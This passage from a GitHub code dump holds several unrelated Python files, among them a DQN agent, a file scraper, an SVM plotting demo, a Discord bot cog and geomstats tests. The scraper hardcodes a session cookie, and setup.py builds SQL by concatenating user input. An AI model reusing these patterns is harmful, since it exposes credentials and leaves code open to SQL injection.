= Q_ConvNet(in_channels=self.obs_dim,\n num_actions=self.act_dim,\n dueling=args.dueling,\n noisy=args.noisy,\n distributional=args.distributional,\n atom_size=51,\n v_min=-10.0,\n v_max=10.0).to(args.device)\n\n self.Target_Net = Q_ConvNet(in_channels=self.obs_dim,\n num_actions=self.act_dim,\n dueling=args.dueling,\n noisy=args.noisy,\n distributional=args.distributional,\n atom_size=51,\n v_min=-10.0,\n v_max=10.0).to(args.device)\n\n self.Target_Net.load_state_dict(self.QValue_Net.state_dict())\n self.Target_Net.eval()\n self.Optimizer = optim.RMSprop(self.QValue_Net.parameters(), lr=args.learning_rate, alpha=args.squared_grad_momentum, centered=True, eps=args.min_squared_grad)\n if self.args.per == False:\n self.memory = replay_buffer(args.memory_capacity, self.get_state(self.act_env.state()).size(), args)\n else:\n self.memory = prioritized_replay_buffer(args.memory_capacity, self.get_state(self.act_env.state()).size(), args)\n self.prior_eps = 1e-6\n self.n_step_gamma = self.args.gamma ** self.args.n_step\n def get_state(self, s):\n return (torch.tensor(s, device=args.device).permute(2, 0, 1)).unsqueeze(0).float()\n def Train(self):\n train_start_time = time.time()\n avg_return = 0.0\n step = 0\n episode = 0\n QValueNet_update_counter = 0\n n_step_gamma_vector = [self.args.gamma ** i for i in range(self.args.n_step)]\n while step < self.args.T_max:\n # while step in tqdm(range(self.args.T_max)):\n score = 0.0\n self.act_env.reset()\n n_step_state_deque = deque(maxlen=self.args.n_step+1)\n n_step_action_deque = deque(maxlen=self.args.n_step)\n n_step_reward_deque = deque(maxlen=self.args.n_step)\n n_step_done_deque = deque(maxlen=self.args.n_step)\n state = self.get_state(self.act_env.state())\n n_step_state_deque.append(state)\n done = False\n while (not done) and step < self.args.T_max:\n next_state, action, reward, done = self.Interaction(step, state, self.act_env)\n n_step_state_deque.append(next_state)\n n_step_action_deque.append(action)\n n_step_reward_deque.append(reward)\n n_step_done_deque.append(done)\n if len(n_step_state_deque) == self.args.n_step+1:\n self.memory.store(n_step_state_deque[0].to(self.args.device),\n n_step_action_deque[0].unsqueeze(dim=0).to(self.args.device),\n torch.tensor([[np.sum(np.array(n_step_reward_deque)*np.array(n_step_gamma_vector))]]).to(self.args.device),\n n_step_state_deque[-1].to(self.args.device),\n n_step_done_deque[-1].to(self.args.device))\n if step > self.args.learn_start and self.memory.buffer_len >= self.args.batch_size:\n if self.args.per == False:\n sample = self.memory.sample(self.args.batch_size)\n Q_values = self.Learning(sample)\n else:\n sample, weight, indices = self.memory.sample(self.args.batch_size)\n Q_values = self.Learning(sample, weight, indices)\n QValueNet_update_counter += 1\n # Update the target network\n if QValueNet_update_counter > 0 and QValueNet_update_counter % self.args.target_update == 0:\n self.Target_Net.load_state_dict(self.QValue_Net.state_dict())\n score += reward.item()\n step += 1\n state = next_state\n if step % 10000 == 0:\n train_now_time = time.time()\n self.writer.add_scalar(\"Train/AVR_RETURN/STEP\", avg_return, global_step=step)\n self.writer.add_scalar(\"Train/Q_VALUE/STEP\", Q_values, global_step=step)\n print(\"[{}/{}]:[avg_return={},q_values={}]-estimate-{}min\".format(step, self.args.T_max, avg_return, Q_values, time.asctime(time.localtime(time.time()+(train_now_time-train_start_time)*(self.args.T_max/step-1)))))\n if step % 50000 == 0:\n torch.save(self.QValue_Net, self.results_dir + '/saved_models/training_step={}_checkpoint.pth'.format(step))\n print(\"[{}/{}]save checkpoint at {}\".format(step, self.args.T_max, self.results_dir + '/saved_models'))\n episode += 1\n avg_return = 0.99 * avg_return + 0.01 * score\n self.writer.close()\n self.options_file.write(\"start time\" + ': ' + time.strftime('%Y-%m-%d-%H-%M-%S', time.localtime(time.time())) + '\\n')\n self.options_file.close()\n Eval_after_Train(self.args)\n\n\n def Interaction(self, step, state, act_env):\n if self.args.noisy == False:\n if step < self.args.learn_start:\n action = torch.tensor([[random.randrange(self.act_dim)]], device=self.args.device)\n else:\n if step - self.args.learn_start >= self.args.first_n_frames:\n epsilon = self.args.end_epsilon\n else:\n epsilon = ((self.args.end_epsilon - self.args.start_epsilon) / self.args.first_n_frames) * (step - self.args.learn_start) + self.args.start_epsilon\n # epsilon greedy\n if np.random.binomial(1, epsilon) == 1:\n action = torch.tensor([[random.randrange(self.act_dim)]], device=self.args.device)\n else:\n with torch.no_grad():\n action = self.QValue_Net(state).max(1)[1].view(1, 1)\n else:\n with torch.no_grad():\n action = self.QValue_Net(state).max(1)[1].view(1, 1)\n reward, done = act_env.act(action)\n next_state = self.get_state(act_env.state())\n return next_state, action, torch.tensor([[reward]], device=self.args.device).float(), torch.tensor([[done]], device=self.args.device)\n\n def Learning(self, sample, weight=None, indices=None):\n states, actions, rewards, next_states, dones = sample\n states = states.squeeze(dim=1)\n actions = actions.squeeze(dim=1).long()\n rewards = rewards.squeeze(dim=1)\n next_states = next_states.squeeze(dim=1)\n dones = dones.squeeze(dim=1).bool()\n\n\n\n Q_s_a = self.QValue_Net(states).gather(1, actions)\n none_done_next_state_index = torch.tensor([i for i, is_term in enumerate(dones) if is_term == 0],\n dtype=torch.int64, device=self.args.device)\n none_done_next_states = next_states.index_select(0, none_done_next_state_index)\n Q_s_prime_a_prime = torch.zeros(self.args.batch_size, 1, device=self.args.device)\n if len(none_done_next_states) != 0:\n if self.args.double == False:\n Q_s_prime_a_prime[none_done_next_state_index] = self.Target_Net(none_done_next_states).detach().max(1)[\n 0].unsqueeze(1)\n else:\n policy_net_index = self.QValue_Net(none_done_next_states).argmax(1).unsqueeze(1)\n Q_s_prime_a_prime[none_done_next_state_index] = torch.gather(self.Target_Net(none_done_next_states), 1,\n policy_net_index).detach()\n target = rewards + self.n_step_gamma * Q_s_prime_a_prime\n # Huber loss\n if self.args.per == False:\n loss = f.smooth_l1_loss(target, Q_s_a)\n else:\n elementwise_loss = f.smooth_l1_loss(target, Q_s_a, reduction=\"none\")\n weight = torch.FloatTensor(weight.reshape(-1, 1)).to(self.args.device)\n loss = torch.mean(elementwise_loss * weight)\n # Zero gradients, backprop, update the weights of policy_net\n self.Optimizer.zero_grad()\n loss.backward()\n self.Optimizer.step()\n if self.args.per == True:\n loss_for_prior = elementwise_loss.detach().cpu().numpy()\n new_priorities = loss_for_prior + self.prior_eps\n self.memory.update_priorities(indices, new_priorities)\n if self.args.noisy == True:\n self.QValue_Net.reset_noisy()\n self.Target_Net.reset_noisy()\n return Q_s_a.mean().detach().cpu().numpy()\n\nif __name__ == '__main__':\n args = parser.parse_args()\n Agent = DQN_Agent(args)\n Agent.Train()\n","repo_name":"QINGYWuuu/MinAtar_DQNs","sub_path":"Implementation/DQN_Agent.py","file_name":"DQN_Agent.py","file_ext":"py","file_size_in_byte":13191,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"28"}
+{"seq_id":"43129908499","text":"import os\nimport pathlib\nimport re\nfrom urllib.request import Request, urlopen\n\nfrom bs4 import BeautifulSoup as bs\n\n\ndef download_file(dir, url):\n file_name = url.split(\"/\")[-1]\n\n pathlib.Path(f\"./downloads/{dir}\").mkdir(parents=True, exist_ok=True)\n\n my_file = pathlib.Path(f\"./downloads/{dir}/\" + file_name)\n if my_file.is_file() or file_name.endswith(\"txt\"):\n print(f\"Skip: {file_name}\")\n else:\n print(f\"Download: {dir}/{file_name}\")\n try:\n filedata = urlopen(url)\n datatowrite = filedata.read()\n with open(f\"./downloads/{dir}/{file_name}\", \"wb\") as f:\n f.write(datatowrite)\n pass\n except:\n pass\n return\n\n\npathlib.Path(\"./downloads\").mkdir(parents=True, exist_ok=True)\n\nreq = Request(\"https://fsbio.rwth-aachen.de/service/downloads/fach/biotechnologie-msc\")\n\nreq.add_header(\"Cookie\", \"\")\nhtml_page = urlopen(req)\n\nsoup = bs(html_page)\n\n\nlinks = [\n link.get(\"href\")\n for link in soup.findAll(\n \"a\", attrs={\"href\": re.compile(\"^/service/downloads/fach/\")}\n )\n]\n\nfor link in links:\n req = Request(f\"https://fsbio.rwth-aachen.de{link}\")\n print(f\"https://fsbio.rwth-aachen.de{link}\")\n req.add_header(\n \"Cookie\",\n \"has_js=1; SESS9208fb201b178189fd366303dff7a5d6=rrgllcdssj2tsrvve9v8vqcl84\",\n )\n download_html_page = urlopen(req)\n soup = bs(download_html_page)\n\n file_list = soup.findAll(\n \"a\",\n attrs={\n \"href\": re.compile(\n \"^http://www.fsbio.rwth-aachen.de/sites/default/files/download_files/\"\n )\n },\n )\n for downloadLink in file_list:\n download_file(link.split(\"/\")[-1], downloadLink.get(\"href\"))\n","repo_name":"Domino987/FileDownload","sub_path":"script.py","file_name":"script.py","file_ext":"py","file_size_in_byte":1737,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"28"}
+{"seq_id":"27203039805","text":"fin = open(\"homework.in\", \"r\")\r\nfout = open(\"homework.out\", \"w\")\r\n\r\n'''\r\n1.)Read data\r\n2.)Create a maximumK list and a maximumaverage var\r\n3.)Create a for loop that:\r\n\ta.)Will slice the list of the first K values and remove the lowest value\r\n\tb.)Get the average of that list and compare it with maximumaverage\r\n\t\ti.)If equal to maximumaverage, append thr K value to the maximumK list\r\n\t\tii.)If greater than maximumaverage, clear maximumK list and append the new K value\r\n4.)Output all data in maximum K list to file\r\n\r\nNOTE: THIS SOLUTION WORKS< BUT NOT IN THE BOUNDS GIVEN\r\n'''\r\nnscores = int(fin.readline())\r\nscores = [int(e) for e in fin.readline().rstrip().split(' ')]\r\nmaxK, maxaverage = [], 0\r\n\r\ndef find_average(l):\r\n\treturn sum(l)/len(l)\r\n\r\nfor i in range(1, nscores-2):\r\n\tsliced_scores = scores[i:]\r\n\tsliced_scores.remove(min(sliced_scores))\r\n\taverage = find_average(sliced_scores)\r\n\tif(average == maxaverage):\r\n\t\tmaxK.append(i)\r\n\telif(average > maxaverage):\r\n\t\tmaxaverage = average\r\n\t\tmaxK = [i]\r\n\r\nfor k in maxK:\r\n\tfout.write(str(k) + \"\\n\")\r\nfout.close()\r\n","repo_name":"kjeelani/USACO-Problems","sub_path":"USACO_Python/homework.py","file_name":"homework.py","file_ext":"py","file_size_in_byte":1067,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"28"}
+{"seq_id":"35119685590","text":"\r\nimport plotly.graph_objs as go\r\nfrom plotly import tools\r\nimport plotly.offline as py\r\n#import plotly.graph_objs as go\r\n#from plotly import tools\r\nimport plotly.tools as tls\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\nfrom sklearn import svm, datasets\r\n\r\n\r\n# import some data to play with\r\niris = datasets.load_iris()\r\nX = iris.data[:, :2] # we only take the first two features. We could\r\n # avoid this ugly slicing by using a two-dim dataset\r\ny = iris.target\r\n\r\nh = .02 # step size in the mesh\r\n\r\n# we create an instance of SVM and fit out data. We do not scale our\r\n# data since we want to plot the support vectors\r\nC = 1.0 # SVM regularization parameter\r\nsvc = svm.SVC(kernel='linear', C=C).fit(X, y)\r\nrbf_svc = svm.SVC(kernel='rbf', gamma=0.7, C=C).fit(X, y)\r\npoly_svc = svm.SVC(kernel='poly', degree=3, C=C).fit(X, y)\r\nlin_svc = svm.LinearSVC(C=C).fit(X, y)\r\n\r\n# create a mesh to plot in\r\nx_min, x_max = X[:, 0].min() - 1, X[:, 0].max() + 1\r\ny_min, y_max = X[:, 1].min() - 1, X[:, 1].max() + 1\r\nx_ = np.arange(x_min, x_max, h)\r\ny_ = np.arange(y_min, y_max, h)\r\nxx, yy = np.meshgrid(x_, y_)\r\n\r\n# title for the plots\r\ntitles = ('SVC with linear kernel',\r\n 'LinearSVC (linear kernel)',\r\n 'SVC with RBF kernel',\r\n 'SVC with polynomial (degree 3) kernel')\r\n\r\n\r\n\r\ndef matplotlib_to_plotly(cmap, pl_entries):\r\n h = 1.0/(pl_entries-1)\r\n pl_colorscale = []\r\n \r\n for k in range(pl_entries):\r\n C = list(map(np.uint8, np.array(cmap(k*h)[:3])*255))\r\n pl_colorscale.append([k*h, 'rgb'+str((C[0], C[1], C[2]))])\r\n \r\n return pl_colorscale\r\n\r\ncmap = matplotlib_to_plotly(plt.cm.coolwarm, 5)\r\n\r\nfig = tls.make_subplots(rows=2, cols=2,\r\n print_grid=False,\r\n subplot_titles=titles)\r\n\r\n\r\n\r\nfor i, clf in enumerate((svc, lin_svc, rbf_svc, poly_svc)):\r\n # Plot the decision boundary. For that, we will assign a color to each\r\n # point in the mesh [x_min, x_max]x[y_min, y_max].\r\n Z = clf.predict(np.c_[xx.ravel(), yy.ravel()])\r\n\r\n # Put the result into a color plot\r\n Z = Z.reshape(xx.shape)\r\n p1 = go.Contour(x=x_, y=y_, z=Z, \r\n colorscale=cmap,\r\n showscale=False)\r\n fig.append_trace(p1, int(i/2+1), i%2+1)# me he inventao el int este para que no de error\r\n #pero no se si es correcto puesto que puede salir real en vez de entero creo\r\n\r\n # Plot also the training points\r\n p2 = go.Scatter(x=X[:, 0], y=X[:, 1], \r\n mode='markers',\r\n marker=dict(color=y,\r\n colorscale=cmap,\r\n showscale=False,\r\n line=dict(color='black', width=1))\r\n ) \r\n fig.append_trace(p2, int(i/2+1), i%2+1)\r\n\r\nfor i in map(str, range(1, 5)):\r\n y = 'yaxis'+ i\r\n x = 'xaxis'+i\r\n fig['layout'][y].update(showticklabels=False, ticks='',\r\n title=\"Sepal Length\")\r\n fig['layout'][x].update(showticklabels=False, ticks='',\r\n title=\"Sepal Width\")\r\n\r\nfig['layout'].update(height=700, showlegend=False)\r\n\r\npy.plot(fig)","repo_name":"p3p31v/PCA-LDA-SVM","sub_path":"svmplotly.py","file_name":"svmplotly.py","file_ext":"py","file_size_in_byte":3195,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"28"}
+{"seq_id":"13018750499","text":"import disnake\nfrom assets.tools.cooldown import custom_cooldown\nfrom disnake.ext import commands\nfrom assets.database.log import log_command\nfrom assets.database.database import update,retrieve\nfrom datetime import datetime\nfrom time import strftime\n\ndef setup(bot : commands.Bot):\n bot.add_cog(Subs(bot))\n\nclass Subs(commands.Cog):\n \"\"\"This will be for a ping command.\"\"\"\n\n def __init__(self, bot: commands.Bot):\n self.bot = bot\n\n\n @commands.slash_command()\n @commands.dynamic_cooldown(custom_cooldown,commands.BucketType.user)\n @commands.has_permissions(manage_channels = True, manage_messages = True)\n async def channel(ctx:disnake.ApplicationCommandInteraction):\n '''\n Register for the automatic APOD subscription \n '''\n db_guilds = retrieve('guilds')\n if ctx.guild.id in db_guilds and ctx.channel.id in db_guilds[ctx.guild.id]:\n embed = disnake.Embed(title = 'This server already has an APOD subscription',description = 'This channel had previously already been registered for the Astronomy Picture of The Day service.', color=disnake.Color.orange(),timestamp=datetime.now())\n else:\n db_guilds[ctx.guild.id] = [ctx.channel.id,strftime('%Y %B %d')]\n embed = disnake.Embed(title = 'Registered',description = 'This channel has been registered for the Astronomy Picture of The Day service.', color=disnake.Color.orange(),timestamp=datetime.now())\n\n await ctx.response.send_message(embed=embed)\n update(db_guilds,'guilds')\n await log_command('channel',ctx.user.id)\n\n @commands.slash_command()\n @commands.cooldown(1, 10, type=commands.BucketType.user)\n @commands.has_permissions(manage_channels = True, manage_messages = True)\n async def remove(ctx):\n '''\n Remove the channel from the APOD subscription\n '''\n db_guilds = retrieve('guilds') \n if ctx.guild.id in db_guilds:\n del db_guilds[ctx.guild.id]\n embed = disnake.Embed(title = 'Unsubscribed',description = 'Removed from daily APOD feed.', color=disnake.Color.orange())\n else:\n embed = disnake.Embed(title = 'Error',description = 'This server had not been registered to the APOD feed.', color=disnake.Color.orange())\n await ctx.response.send_message(embed=embed)\n update(db_guilds,'guilds')\n await log_command('remove',ctx.user.id)\n ","repo_name":"AdvaithGS/Astrobot","sub_path":"bot/assets/subscription.py","file_name":"subscription.py","file_ext":"py","file_size_in_byte":2286,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"28"}
+{"seq_id":"21674543903","text":"\nfrom richlib import *\nimport random\nimport time\n\nTIME = 20\nNUMBER_OF_BALLS = 10\nJUMP_POWER = 2\n\nstart_time = time.time()\ntime_left = TIME\n\nCAMERA = screen.CAMERA_FIRST_PERSON\n\nballs = []\nfor i in range(0, NUMBER_OF_BALLS):\n ball = Sphere()\n ball.x = random.randint(-300, 300)\n ball.y = random.randint(10, 40)\n ball.z = random.randint(-300, 0)\n ball.color = 'green'\n balls.append(ball)\n\nscore = 0\n\nalien = Actor('trooper')\nalien.size = (10, 10, 10)\nalien.collision_radius = 5\n\nalien.yv = 0\nalien.xv = 0\nalien.zv = 0\n\nsound = Sound('eep')\nsound.volume = 0.7\nsound.pitch = 0.5\n\n\ndef draw():\n clear()\n alien.draw()\n for ball in balls:\n ball.draw()\n\n\ndef draw2d():\n if (time_left > 0):\n screen.draw_text(f\"Score: {score} Time: {time_left}\", 0, 0, 50, VIOLET)\n else:\n screen.draw_text(f\"Your Score: {score}\\nOUT OF TIME\", 30, 50, 50, RED)\n\n\ndef update():\n global score\n global time_left\n\n time_left = int(TIME + (start_time - time.time()))\n if time_left <= 0:\n return\n\n alien.yv -= 0.05\n\n alien.x += alien.xv\n alien.y += alien.yv\n alien.z += alien.zv\n\n if alien.y <= 0: # Only control when alien is on ground\n if keyboard.right:\n alien.xv += 0.1\n elif keyboard.left:\n alien.xv -= 0.1\n if keyboard.down:\n alien.zv += 0.1\n elif keyboard.up:\n alien.zv -= 0.1\n\n if keyboard.space:\n alien.yv = JUMP_POWER\n\n if alien.xv > 0.05:\n alien.xv -= 0.05\n elif alien.xv < -0.05:\n alien.xv += 0.05\n\n if alien.zv > 0.05:\n alien.zv -= 0.05\n elif alien.zv < -0.05:\n alien.zv += 0.05\n\n alien.y = 0\n\n for ball in balls:\n if alien.check_collision(ball):\n balls.remove(ball)\n sound.play()\n score += 1\n\n\nrun()\n","repo_name":"electronstudio/pygame-zero-book","sub_path":"chapters/programs/rl_demo.py","file_name":"rl_demo.py","file_ext":"py","file_size_in_byte":1888,"program_lang":"python","lang":"en","doc_type":"code","stars":53,"dataset":"github-code","pt":"28"}
+{"seq_id":"19352708059","text":"import os\nimport shutil\nfrom PIL import Image\n\n\nsets = [\n # 'bottle',\n # 'bottle_colored',\n # 'chips',\n # 'granola',\n # 'peanut'\n]\n\ndistance = [\n '10',\n '20',\n '30',\n '40',\n # '60'\n]\n\nresolution = [\n# '1280',\n'1024',\n'800',\n'640',\n'320'\n]\n\ntest_img = Image.open('chips_10cm_0degree.jpg')\nmax_width, max_height = test_img.size\nprint (max_height)\nprint (max_width)\n\nfor j in distance:\n\tfor k in resolution: \n\n\t\t\tdst = 'distance_' + j + 'cm_' + k + '.jpg'\n\t\t\tsrc = 'distance_' + j + 'cm.jpg'\n\t\t\twidth_ratio = float(k) / max_width\n\t\t\tnew_height = max_height * width_ratio\n\t\t\tnew_size = (k, new_height)\n\t\t\timg = Image.new('RGB',(max_width, max_height), 444)\n\t\t\timg.save(dst, \"JPEG\")\n\t\t\tdel(img)\n\t\t\tshutil.copy(src, dst)\n\n\t\t\tnew_img = Image.open(dst)\n\t\t\tprint(int(k), int(new_height))\n\t\t\tnew_img = new_img.resize((int(k), int(new_height)), Image.ANTIALIAS)\n\t\t\twidth, height = new_img.size\n\t\t\tnew_img.save(dst, \"JPEG\")\n\t\t\tprint (width)\n\t\t\tprint (height)\n\t\t\t\n\n\n","repo_name":"nnoorani/redeem-team-fydp","sub_path":"image_testing/iter3/distance/rename_distance.py","file_name":"rename_distance.py","file_ext":"py","file_size_in_byte":983,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"28"}
+{"seq_id":"37187456309","text":"import sqlite3\nimport confuse\nimport secrets\n\nconfig = confuse.Configuration('fluffy-api', __name__)\n\nconnection = sqlite3.connect('fluffy.db')\ncursor = connection.cursor()\n\ninstallconfirm = input(\"Would you like to proceed with installation? All existing SQL configurations will be rest. \\\n(y/n): \")\nif installconfirm.upper()[0:1] == 'Y':\n username = input(\"Enter your username (email address): \")\n firstname = input(\"Enter your first name: \")\n lastname = input(\"Enter your last name (surname): \")\n apikey = secrets.token_hex(16)\n\n queries = (\"\"\"DROP TABLE IF EXISTS FluffyUsers\"\"\",\n \"\"\"\n CREATE TABLE FluffyUsers (\n ID INTEGER PRIMARY KEY AUTOINCREMENT\n , Username varchar(255) NOT NULL \n , FirstName varchar(255) NULL \n , LastName varchar(255) NULL \n , ApiKey varchar(255) NULL \n , Hash varchar(32) NULL \n );\n \"\"\",\n \"\"\"\n INSERT INTO FluffyUsers (Username,FirstName,LastName,ApiKey,Hash) \n SELECT '\"\"\" + username + \"\"\"','\"\"\" + firstname + \"\"\"','\"\"\" + lastname + \"\"\"', '\"\"\" + apikey + \"\"\"', null; \n \"\"\")\n for query in queries:\n cursor.execute(query)\n connection.commit()\n cursor.close()\n connection.close()\n\n print(\"!! DO NOT LOSE THIS !!\\nYour API key is: \" + apikey + \"\\n !! DO NOT LOSE THIS !!\")\n\n\nelse:\n print(\"Doing nothing. Goodbye!\")\n","repo_name":"sysopmatt/fluffy-api","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1514,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"28"}
+{"seq_id":"2321788126","text":"import pytest\n\nimport geomstats.backend as gs\nfrom geomstats.geometry.discrete_curves import SRVMetric\nfrom geomstats.learning.frechet_mean import GradientDescent, variance\nfrom geomstats.test.random import RandomDataGenerator\nfrom geomstats.test.test_case import TestCase\nfrom geomstats.test_cases.learning._base import (\n BaseEstimatorTestCase,\n MeanEstimatorMixinsTestCase,\n)\nfrom geomstats.vectorization import repeat_point\n\n\nclass FrechetMeanTestCase(MeanEstimatorMixinsTestCase, BaseEstimatorTestCase):\n @pytest.mark.random\n def test_logs_at_mean(self, atol):\n X = self.data_generator.random_point(n_points=2)\n\n mean = self.estimator.fit(X).estimate_\n\n logs = self.estimator.space.metric.log(X, mean)\n\n result = gs.linalg.norm(logs[1] + logs[0])\n self.assertAllClose(result, gs.array(0.0), atol)\n\n @pytest.mark.random\n def test_weighted_mean_two_points(self, atol):\n X = self.data_generator.random_point(n_points=2)\n weights = gs.random.rand(2)\n\n mean = self.estimator.fit(X, weights=weights).estimate_\n\n space = self.estimator.space\n expected = space.metric.exp(\n weights[1] / gs.sum(weights) * space.metric.log(X[1], X[0]), X[0]\n )\n self.assertAllClose(mean, expected, atol=atol)\n\n\nclass ElasticMeanTestCase(FrechetMeanTestCase):\n @pytest.mark.random\n def test_logs_at_mean(self, atol):\n space = self.estimator.space\n if not isinstance(space.metric, SRVMetric):\n return\n\n X = self.data_generator.random_point(n_points=2)\n\n mean = self.estimator.fit(X).estimate_\n\n logs = space.metric.log(X, mean)\n logs_srv = space.metric.tangent_diffeomorphism(logs, base_point=mean)\n result = gs.linalg.norm(logs_srv[1] + logs_srv[0])\n\n self.assertAllClose(result, gs.array(0.0), atol)\n\n\nclass CircularMeanTestCase(FrechetMeanTestCase):\n @pytest.mark.random\n def test_against_optimization(self, n_points, atol):\n space = self.estimator.space\n X = self.data_generator.random_point(n_points)\n\n mean = self.estimator.fit(X).estimate_\n\n mean_gd = GradientDescent().minimize(space, points=X, weights=None)\n\n sum_sd_mean = gs.sum(space.metric.squared_dist(X, mean))\n sum_sd_mean_gd = gs.sum(space.metric.squared_dist(X, mean_gd))\n\n msg = f\"circular mean: {mean}, {sum_sd_mean}\\ngd: {mean_gd}, {sum_sd_mean_gd}\"\n self.assertTrue(sum_sd_mean < sum_sd_mean_gd + atol, msg)\n\n\nclass VarianceTestCase(TestCase):\n def setup_method(self):\n if not hasattr(self, \"data_generator\"):\n self.data_generator = RandomDataGenerator(self.space)\n\n def test_variance(self, points, base_point, expected, atol, weights=None):\n res = variance(self.space, points, base_point, weights=weights)\n self.assertAllClose(res, expected, atol=atol)\n\n @pytest.mark.random\n def test_variance_repeated_is_zero(self, n_samples, atol):\n base_point = point = self.data_generator.random_point(n_points=1)\n points = repeat_point(point, n_samples)\n\n self.test_variance(points, base_point, 0.0, atol)\n\n\nclass BatchGradientDescentTestCase(TestCase):\n def setup_method(self):\n if not hasattr(self, \"data_generator\"):\n self.data_generator = RandomDataGenerator(self.space)\n\n @pytest.mark.vec\n def test_against_default(self, n_points, n_reps, atol):\n points = self.data_generator.random_point(n_points)\n\n res_single = self.optimizer.minimize(self.space, points)\n\n rep_points = repeat_point(points, n_reps)\n rep_points = gs.moveaxis(rep_points, 0, 1)\n\n res = self.batch_optimizer.minimize(self.space, rep_points)\n\n self.assertAllClose(res, repeat_point(res_single, n_reps), atol)\n","repo_name":"geomstats/geomstats","sub_path":"geomstats/test_cases/learning/frechet_mean.py","file_name":"frechet_mean.py","file_ext":"py","file_size_in_byte":3801,"program_lang":"python","lang":"en","doc_type":"code","stars":1022,"dataset":"github-code","pt":"28"}
+{"seq_id":"669420661","text":"from pathlib import Path\n\nimport numpy as np\nimport onnxruntime\nfrom scipy import ndimage\n\nfrom .utils import reclassify, tile_array, untile_array\n\n\nclass CSmask:\n \"\"\"Segments clouds and cloud shadows in multi-spectral satellite images.\"\"\"\n\n def __init__(\n self,\n img,\n band_order=None,\n nodata_value=None,\n ):\n \"\"\"\n :param img: Input satellite image of shape (rows, cols, bands). (ndarray).\n Requires images of Sentinel-2, Landsat-8, -7 or -5 in Top of Atmosphere reflectance [0, 1].\n Requires image bands to include at least \"Blue\", \"Green\", \"Red\", \"NIR\", \"SWIR1\", \"SWIR2\".\n Requires image bands to be in approximately 30 m resolution.\n :param band_order: Image band order. (dict).\n >>> band_order = {0: \"Blue\", 1: \"Green\", 2: \"Red\", 3: \"NIR\", 4: \"SWIR1\", 5: \"SWIR2\"}\n :param nodata_value: Additional nodata value that will be added to valid mask. (num).\n \"\"\"\n # consistency checks on input image\n if band_order is None:\n band_order = [\"Blue\", \"Green\", \"Red\", \"NIR\", \"SWIR1\", \"SWIR2\"]\n\n if isinstance(img, np.ndarray) is False:\n raise TypeError(\"img must be of type np.ndarray\")\n\n if img.ndim != 3:\n raise TypeError(\"img must be of shape (rows, cols, bands)\")\n\n if img.shape[2] < 6:\n raise TypeError(\"img must contain at least 6 spectral bands\")\n\n if img.dtype != np.float32:\n raise TypeError(\"img must be in top of atmosphere reflectance with dtype float32\")\n\n # consistency checks on band_order\n target_band_order = [\"Blue\", \"Green\", \"Red\", \"NIR\", \"SWIR1\", \"SWIR2\"]\n if band_order != target_band_order:\n if all(elem in band_order for elem in target_band_order):\n # rearrange image bands to match target_band_order\n idx = np.array(\n [\n np.where(band == np.array(band_order, dtype=\"S\"))[0][0]\n for band in np.array(target_band_order, dtype=\"S\")\n ]\n )\n img = np.stack(np.asarray([img[:, :, i] for i in range(img.shape[2])])[idx], axis=2)\n else:\n raise TypeError(\n \"img must contain at least ['Blue', 'Green', 'Red', 'NIR', 'SWIR1', 'SWIR2'] spectral bands\"\n )\n else:\n # use image bands as are\n img = np.stack(np.asarray([img[:, :, i] for i in range(img.shape[2])]), axis=2)\n\n self.img = img\n self.band_order = band_order\n self.nodata_value = nodata_value\n self.csm = self._csm()\n self.valid = self._valid()\n\n def _csm(self):\n \"\"\"Computes cloud and cloud shadow mask with following class ids: 0=background, 1=clouds, 2=cloud shadows.\n\n :returns: cloud and cloud shadow mask. (ndarray).\n \"\"\"\n # tile array\n x = tile_array(self.img, xsize=256, ysize=256, overlap=0.2)\n\n # standardize feature space\n x -= [0.19312, 0.18659, 0.18899, 0.30362, 0.23085, 0.16216]\n x /= [0.16431, 0.16762, 0.18230, 0.17409, 0.16020, 0.14164]\n\n # start onnx inference session and load model\n sess = onnxruntime.InferenceSession(str(Path(__file__).parent) + \"/model.onnx\")\n\n # predict on array tiles\n y_prob = [sess.run(None, {\"input_1\": tile[np.newaxis, :]}) for n, tile in enumerate(list(x))]\n y_prob = np.concatenate(y_prob)[:, 0, :, :, :]\n\n # untile probabilities with smooth blending\n y_prob = untile_array(\n y_prob, (self.img.shape[0], self.img.shape[1], y_prob.shape[3]), overlap=0.2, smooth_blending=True\n )\n\n # compute argmax of probabilities to get class predictions\n y = np.argmax(y_prob, axis=2).astype(np.uint8)\n\n # reclassify results\n class_dict = {\"reclass_value_from\": [0, 1, 2, 3, 4], \"reclass_value_to\": [2, 0, 0, 0, 1]}\n csm = reclassify(y, class_dict)\n\n return csm\n\n def _valid(self):\n \"\"\"Converts the cloud and cloud shadow mask into a binary valid mask with following class ids:\n 0=invalid (clouds, cloud shadows, nodata), 1=valid (rest). Invalid pixels are buffered to reduce effect of\n cloud and cloud shadow fuzzy boundaries. If CSmask was initialized with nodata_value it will be added to the\n invalid class.\n\n :returns: binary valid mask. (ndarray).\n \"\"\"\n # reclassify cloud shadow mask to binary valid mask\n class_dict = {\"reclass_value_from\": [0, 1, 2], \"reclass_value_to\": [1, 0, 0]}\n valid = reclassify(self.csm, class_dict)\n\n # dilate the inverse of the binary valid pixel mask (invalid=0)\n # this effectively buffers the invalid pixels\n valid_i = ~valid.astype(np.bool)\n valid = (~ndimage.binary_dilation(valid_i, iterations=4).astype(np.bool)).astype(np.uint8)\n\n if self.nodata_value is not None:\n # add image nodata pixels to valid pixel mask\n valid[(self.img[:, :, 0] == self.nodata_value)] = 0\n\n return valid\n","repo_name":"peterpan83/ukis-csmask","sub_path":"ukis_csmask/mask.py","file_name":"mask.py","file_ext":"py","file_size_in_byte":5131,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"28"}
